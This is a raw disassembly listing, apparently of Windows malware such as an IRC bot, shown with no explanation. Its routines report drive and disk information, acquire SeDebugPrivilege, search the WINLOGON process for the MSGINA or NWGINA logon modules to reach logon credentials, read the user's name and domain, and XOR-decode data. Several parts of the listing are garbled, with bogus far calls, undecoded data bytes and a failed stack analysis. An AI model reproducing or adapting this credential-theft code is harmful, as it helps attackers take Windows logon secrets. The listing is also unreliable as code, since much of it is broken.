					; seg000:00416C55j
		cmp	[ebp-14h], esi
		jz	loc_416EDB
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416D96
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43F9EC
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416D16
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		add	esp, 14h


loc_416D16:				; CODE XREF: seg000:00416CF4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416EDB
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_4D115C
		cmp	[ebp-30h], esi
		jnz	loc_416EDB
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_43F9D0
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		add	esp, 24h
		jmp	loc_416EDB
; ---------------------------------------------------------------------------


loc_416D96:				; CODE XREF: seg000:00416CA8j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43F98C
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416DFE
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		add	esp, 14h


loc_416DFE:				; CODE XREF: seg000:00416DDCj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BC40
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_443398
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 0B00000h
		push	cs
		cmp	eax, edi
		jnz	short loc_416E80
		call	ds:dword_4D1148
		call	loc_418B05
		push	esi
		call	ds:dword_427068	; ExitProcess


loc_416E80:				; CODE XREF: seg000:00416E6Cj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_43F958
		jmp	short loc_416E9A
; ---------------------------------------------------------------------------


loc_416E8E:				; CODE XREF: seg000:00416A47j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43F92C


loc_416E9A:				; CODE XREF: seg000:00416E8Cj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416ECE
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		add	esp, 14h


loc_416ECE:				; CODE XREF: seg000:00416EACj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_416EDB:				; CODE XREF: seg000:00416C9Ej
					; seg000:00416D27j ...
		push	dword ptr [ebp-18h]
		call	ds:dword_4D1224
		push	dword ptr [ebp-48h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		insb

; =============== S U B	R O U T	I N E =======================================



sub_416EF4	proc near		; CODE XREF: seg000:00416B20p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416F10


loc_416F00:				; CODE XREF: sub_416EF4+1Aj
		mov	dl, ds:byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416F00

locret_416F10:				; CODE XREF: sub_416EF4+Aj
		retn
sub_416EF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F11	proc near		; CODE XREF: seg000:00407298p
					; seg000:004073CCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DA8E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416F11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F2B	proc near		; CODE XREF: sub_41011E+45Dp
					; sub_41011E+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D8E28
		push	0
		push	edi
		call	sub_41BC40
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416F50:				; CODE XREF: sub_416F2B+5Bj
					; sub_416F2B+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DB50
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DAE0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416F8E
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416F50
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416F50
; ---------------------------------------------------------------------------


loc_416F8E:				; CODE XREF: sub_416F2B+4Bj
		dec	esi
		mov	eax, edi


loc_416F91:				; CODE XREF: sub_416F2B+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416FA0
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416F91
; ---------------------------------------------------------------------------


loc_416FA0:				; CODE XREF: sub_416F2B+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FAA	proc near		; CODE XREF: sub_417156+51p
					; sub_417156+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4D1250
		sub	eax, 0
		jz	short loc_416FED
		dec	eax
		jz	short loc_416FE7
		dec	eax
		dec	eax
		jz	short loc_416FE1
		dec	eax
		jz	short loc_416FDB
		dec	eax
		jz	short loc_416FD5
		dec	eax
		jz	short loc_416FCF
		mov	eax, offset word_43FB1C
		retn
; ---------------------------------------------------------------------------


loc_416FCF:				; CODE XREF: sub_416FAA+1Dj
		mov	eax, offset off_43FB18
		retn
; ---------------------------------------------------------------------------


loc_416FD5:				; CODE XREF: sub_416FAA+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416FDB:				; CODE XREF: sub_416FAA+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416FE1:				; CODE XREF: sub_416FAA+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416FE7:				; CODE XREF: sub_416FAA+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416FED:				; CODE XREF: sub_416FAA+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416FAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FF3	proc near		; CODE XREF: sub_41703B+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_4D10E0
		test	eax, eax
		jz	short loc_417028
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax ; dword_4D10E0


loc_417028:				; CODE XREF: sub_416FF3+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416FF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41703B	proc near		; CODE XREF: sub_417156+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416FF3
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417113
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417113
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417113
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DBD0
		push	edx
		push	eax
		call	sub_416F2B
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DBD0
		push	edx
		push	eax
		call	sub_416F2B
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DBD0
		push	edx
		push	eax
		call	sub_416F2B
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 18h
		pop	ebx
		jmp	short loc_417142
; ---------------------------------------------------------------------------


loc_417113:				; CODE XREF: sub_41703B+2Cj
					; sub_41703B+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41BF36
		add	esp, 18h


loc_417142:				; CODE XREF: sub_41703B+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41703B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417156	proc near		; CODE XREF: sub_417228+17p
					; sub_417228+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_41703B
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C710
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4171C9
		push	ebx
		push	ebx
		call	sub_416FAA
		pop	ecx
		push	eax
		push	offset unk_43FB6C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 14h
		jmp	short loc_4171FD
; ---------------------------------------------------------------------------


loc_4171C9:				; CODE XREF: sub_417156+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416FAA
		pop	ecx
		push	eax
		push	offset unk_43FB30
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 20h


loc_4171FD:				; CODE XREF: sub_417156+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4157A6
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417156	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417228	proc near		; CODE XREF: seg000:0040401Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_417249
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417156
		add	esp, 10h
		jmp	short loc_4172AA
; ---------------------------------------------------------------------------


loc_417249:				; CODE XREF: sub_417228+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_4D1158
		lea	esi, [eax+2]
		push	esi
		call	sub_41BBCB
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_4D1158
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4172A1


loc_41726D:				; CODE XREF: sub_417228+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417290
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417156
		add	esp, 10h


loc_417290:				; CODE XREF: sub_417228+54j
		push	esi
		call	sub_41B890
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_41726D


loc_4172A1:				; CODE XREF: sub_417228+43j
		push	edi
		call	sub_41B961
		pop	ecx
		pop	edi
		pop	esi


loc_4172AA:				; CODE XREF: sub_417228+1Fj
		pop	ebx
		pop	ebp
		retn
sub_417228	endp

; ---------------------------------------------------------------------------
byte_4172AD	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:004082ECo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 45AFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 4596E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 0FBCC6850h, 858D0043h, 0FFFFFB64h, 20068h, 11E85000h
		dd 8300004Dh, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF268Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5AE8FFFFh, 50000000h
		dd 0FB64858Dh, 0AC68FFFFh, 500043FBh, 4BB9E8h, 24C48300h
		dd 75F85D39h, 858D5320h, 0FFFFFB64h, 50F475FFh,	0FD68858Dh
		dd 0FF50FFFFh, 0FFFD64B5h, 2630E8FFh, 0C483FFFFh, 64858D14h
		dd 50FFFFFBh, 0FFE3F5E8h, 0F075FFFFh, 0FF3F71E8h, 535959FFh
		dd 6E8C3FE8h, 5E5F2500h, 0EC8B555Bh, 54CEC81h, 56530000h
		dd 104BE57h, 75FF0000h,	0B8858D18h, 68FFFFFDh, 43FC10h
		dd 45E85056h, 8B00004Ch, 42711C3Dh, 10C48300h, 0FEBC858Dh
		dd 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h, 0F0BBFC45h
		dd 74004301h, 0BC85F671h, 10FFFFFEh, 0BD805474h, 0FFFFFEE8h
		dd 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h, 742EFFFFh
		dd 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh, 50565318h
		dd 4BE3E8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh, 75FF1475h
		dd 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h, 858D1C45h
		dd 0FFFFFEBCh, 0FC75FF50h, 700015FFh, 0C0850042h, 75FF8F75h
		dd 8B76E8FCh, 0FFF0006Eh, 858D1475h, 0FFFFFDB8h, 531875FFh
		dd 91E85056h, 8300004Bh, 858D14C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh, 0FFFFFFFEh
		dd 8D501C45h, 0FFFAB485h, 1875FFFFh, 43FBF468h,	2006800h
		dd 0E8500000h, 4B54h, 858D016Ah, 0FFFFFAB4h, 501075FFh
		dd 0FF0C75FFh, 0DFE80875h, 83FFFF24h, 858D28C4h, 0FFFFFEBCh
		dd 15FF5650h, 427000h, 0B175C085h, 8AF2E856h, 8B7F006Eh
		dd 5E5F1C45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417517	proc near		; DATA XREF: seg000:0040379Do

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41B196
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417556
		cmp	eax, 2
		jz	short loc_417556
		push	offset unk_43FDE8
		jmp	loc_417695
; ---------------------------------------------------------------------------


loc_417556:				; CODE XREF: sub_417517+2Ej
					; sub_417517+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419EDA
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417690
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:dword_4270B8	; LoadLibraryA
		mov	esi, ds:dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi ; dword_4270BC
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	ds:dword_4DA06C, eax
		call	esi ; dword_4270BC
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	ds:dword_4DA060, eax
		call	esi ; dword_4270BC
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	ds:dword_4DA270, eax
		call	esi ; dword_4270BC
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	ds:dword_4DA068, eax
		call	esi ; dword_4270BC
		mov	ds:dword_4DA064, eax
		call	sub_4176E9
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417663
		mov	esi, ds:dword_427140
		mov	edi, 400h
		mov	ebx, offset dword_4D9060
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi ; dword_427140
		push	edi
		mov	edi, offset dword_4D9860
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi ; dword_427140
		cmp	[ebp+var_4], 1
		push	offset dword_4DA278
		push	[ebp+arg_0]
		jnz	short loc_41760F
		call	loc_417872
		jmp	short loc_417614
; ---------------------------------------------------------------------------


loc_41760F:				; CODE XREF: sub_417517+EFj
		call	sub_417A19


loc_417614:				; CODE XREF: sub_417517+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41765C
		cmp	ds:dword_4DA278, 0
		jnz	short loc_417643
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_43FCB0
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 18h
		jmp	short loc_417676
; ---------------------------------------------------------------------------


loc_417643:				; CODE XREF: sub_417517+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417653
		call	sub_417B4F
		jmp	short loc_417658
; ---------------------------------------------------------------------------


loc_417653:				; CODE XREF: sub_417517+133j
		call	sub_417BE6


loc_417658:				; CODE XREF: sub_417517+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417668
; ---------------------------------------------------------------------------


loc_41765C:				; CODE XREF: sub_417517+101j
		push	offset unk_43FC78
		jmp	short loc_417668
; ---------------------------------------------------------------------------


loc_417663:				; CODE XREF: sub_417517+B6j
		push	offset unk_43FC4C


loc_417668:				; CODE XREF: sub_417517+143j
					; sub_417517+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_417676:				; CODE XREF: sub_417517+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419EDA
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 0B00000h
		lock pop ebx
		jmp	short loc_4176A3
; ---------------------------------------------------------------------------


loc_417690:				; CODE XREF: sub_417517+4Ej
		push	offset unk_43FC18


loc_417695:				; CODE XREF: sub_417517+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_4176A3:				; CODE XREF: sub_417517+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4176CA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_4099D2
		add	esp, 14h


loc_4176CA:				; CODE XREF: sub_417517+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4157A6
		push	[ebp+var_18]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		xchg	eax, ecx
		pop	edi
		pop	esi
sub_417517	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4176E9	proc near		; CODE XREF: sub_417517+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_42714C
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi ; dword_42714C
		mov	edi, ds:dword_427148
		push	eax
		call	edi ; dword_427148
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	ds:dword_4DA06C
		push	ebp
		push	0
		call	esi ; dword_42714C
		push	eax
		call	ds:dword_427144	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi ; dword_42714C
		push	eax
		call	edi ; dword_427148
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	ds:dword_4DA06C
		test	eax, eax
		jnz	short loc_4177D6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4177D6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4177D6


loc_417772:				; CODE XREF: sub_4176E9+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4177C9
		push	0
		push	0
		call	ds:dword_4DA060
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	ds:dword_4DA270
		test	eax, eax
		jnz	short loc_4177BA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DC7A
		pop	ecx
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4177EE


loc_4177BA:				; CODE XREF: sub_4176E9+AAj
		test	edi, edi
		jz	short loc_4177C5
		push	edi
		call	ds:dword_4DA068


loc_4177C5:				; CODE XREF: sub_4176E9+D3j
		mov	eax, [esp+28h+var_10]


loc_4177C9:				; CODE XREF: sub_4176E9+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417772


loc_4177D6:				; CODE XREF: sub_4176E9+6Dj
					; sub_4176E9+7Aj ...
		xor	edi, edi


loc_4177D8:				; CODE XREF: sub_4176E9+17Dj
		push	ebp
		push	0
		call	esi ; dword_42714C
		push	eax
		call	ds:dword_427144	; RtlFreeHeap
		mov	eax, edi


loc_4177E6:				; CODE XREF: sub_4176E9+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4177EE:				; CODE XREF: sub_4176E9+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417857
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417804:				; CODE XREF: sub_4176E9+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DC7A
		pop	ecx
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41786B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DC7A
		pop	ecx
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417849
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_417849:				; CODE XREF: sub_4176E9+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417804


loc_417857:				; CODE XREF: sub_4176E9+10Fj
		test	edi, edi
		jz	short loc_417862
		push	edi
		call	ds:dword_4DA068


loc_417862:				; CODE XREF: sub_4176E9+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4177D8
; ---------------------------------------------------------------------------


loc_41786B:				; CODE XREF: sub_4176E9+13Cj
		xor	eax, eax
		jmp	loc_4177E6
sub_4176E9	endp

; ---------------------------------------------------------------------------


loc_417872:				; CODE XREF: sub_417517+F1p
		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	dword ptr [ebp+8]
		mov	[ebp-10h], esi
		push	esi
		push	410h
		call	near ptr 0B00000h
		jnp	short near ptr loc_4178C8+1
		mov	byte ptr [ecx+775FC45h], 33h
		shr	cl, 7Bh
		add	[eax], eax
		add	[ebx+57530C45h], cl
		mov	[eax], esi
		lea	eax, [ebp-64h]
		push	eax
		call	ds:dword_427158	; GetSystemInfo
